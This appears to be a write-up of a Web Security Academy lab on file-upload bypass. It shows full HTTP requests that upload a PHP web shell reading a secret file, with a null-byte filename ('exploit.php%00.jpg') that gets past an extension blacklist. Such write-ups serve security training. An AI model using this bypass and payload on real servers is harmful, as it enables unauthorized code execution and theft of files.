

Lab: Web shell upload via obfuscated file extension

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file `/home/carlos/secret`. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: `wiener:peter`

Let's try to upload the `exploit.php`,

```
1 POST /my-account/avatar HTTP/2
2 Host: 0alc007203lc892f80b76d6d00350011.web-security-academy.net
3 Cookie: session=xHcvcc8mFaGlnV8TPFPonXLRacp2ZmlQ
4 Content-Length: 476
5 Cache-Control: max-age=0
6 Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"
7 Sec-Ch-Ua-Mobile: ?0
8 Sec-Ch-Ua-Platform: "Windows"
9 Upgrade-Insecure-Requests: 1
10 Origin: https://0alc007203lc892f80b76d6d00350011.web-security-academy.net
11 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmQ3DBvknZocAWa
12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0
13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
14 Sec-Fetch-Site: same-origin
15 Sec-Fetch-Mode: navigate
16 Sec-Fetch-User: ?1
17 Sec-Fetch-Dest: document
18 Referer: https://0alc007203lc892f80b76d6d00350011.web-security-academy.net/my-account?id=wiener
19 Accept-Encoding: gzip, deflate, br
20 Accept-Language: en-US,en;q=0.9,en-IN;q=0.8
21
22 -----WebKitFormBoundaryPmQ3DBvknZocAWa
23 Content-Disposition: form-data; name="avatar"; filename="exploit.php"
24 Content-Type: application/octet-stream
25
26 <?php echo file_get_contents('/home/carlos/secret'); ?>
27 -----WebKitFormBoundaryPmQ3DBvknZocAWa
28 Content-Disposition: form-data; name="user"
29
30 wiener
31 -----WebKitFormBoundaryPmQ3DBvknZocAWa
32 Content-Disposition: form-data; name="csrf"
33
34 6bhycIhWasArpj8m3S6j7gIbCjNaEKy4
35 -----WebKitFormBoundaryPmQ3DBvknZocAWa--
36
```

Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file.

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So, the server only allows jpg or png files to upload, lets obfuscate the `exploit.php` to bypass the upload.

Pretty	Raw	Hex
1	POST /my-account/avatar HTTP/2	
2	Host: 0alc0072031c892f80b76d6d00350011.web-security-academy.net	
3	Cookie: session=xH2vcc8mFaXilnV8TPFonXL8acp22mlQ	
4	Content-Length: 476	
5	Cache-Control: max-age=0	
6	Sec-Ch-Ua: "Chromium";v="122", "Not(A:Brand";v="24", "Microsoft Edge";v="122"	
7	Sec-Ch-Ua-Mobile: ?0	
8	Sec-Ch-Ua-Platform: "Windows"	
9	Upgrade-Insecure-Requests: 1	
10	Origin: https://0alc0072031c892f80b76d6d00350011.web-security-academy.net	
11	Content-Type: multipart/form-data; boundary=----WebKitFormBoundary08dwanJg7DmCWLYG	
12	User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Edg/122.0.0.0	
13	Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7	
14	Sec-Fetch-Site: same-origin	
15	Sec-Fetch-Mode: navigate	
16	Sec-Fetch-User: ?1	
17	Sec-Fetch-Dest: document	
18	Referer: https://0alc0072031c892f80b76d6d00350011.web-security-academy.net/my-account	
19	Accept-Encoding: gzip, deflate, br	
20	Accept-Language: en-US,en;q=0.9,en-IN;q=0.8	
21		
22	-----WebKitFormBoundary08dwanJg7DmCWLYG	
23	Content-Disposition: form-data; name="avatar"; filename="exploit.php%00.jpg"	
24	Content-Type: application/x-php	
25		
26	<?php echo file_get_contents('/home/carlos/secret'); ?>	
27	-----WebKitFormBoundary08dwanJg7DmCWLYG	
28	Content-Disposition: form-data; name="user"	
29		
30	wiener	
31	-----WebKitFormBoundary08dwanJg7DmCWLYG	
32	Content-Disposition: form-data; name="csrf"	
33		
34	5bhyCQdWasAryj9m3S6j7g1b2jMaEKy4	
35	-----WebKitFormBoundary08dwanJg7DmCWLYG--	
36		

We are Null Byte to bypass the upload function, The Characters after NULL Byte(%00) will be omitted.

The file avatars/exploit.php has been uploaded.

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Congratulations, you solved the lab!

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My Account

Your username is: wiener

Email

Update email



Avatar:

No file chosen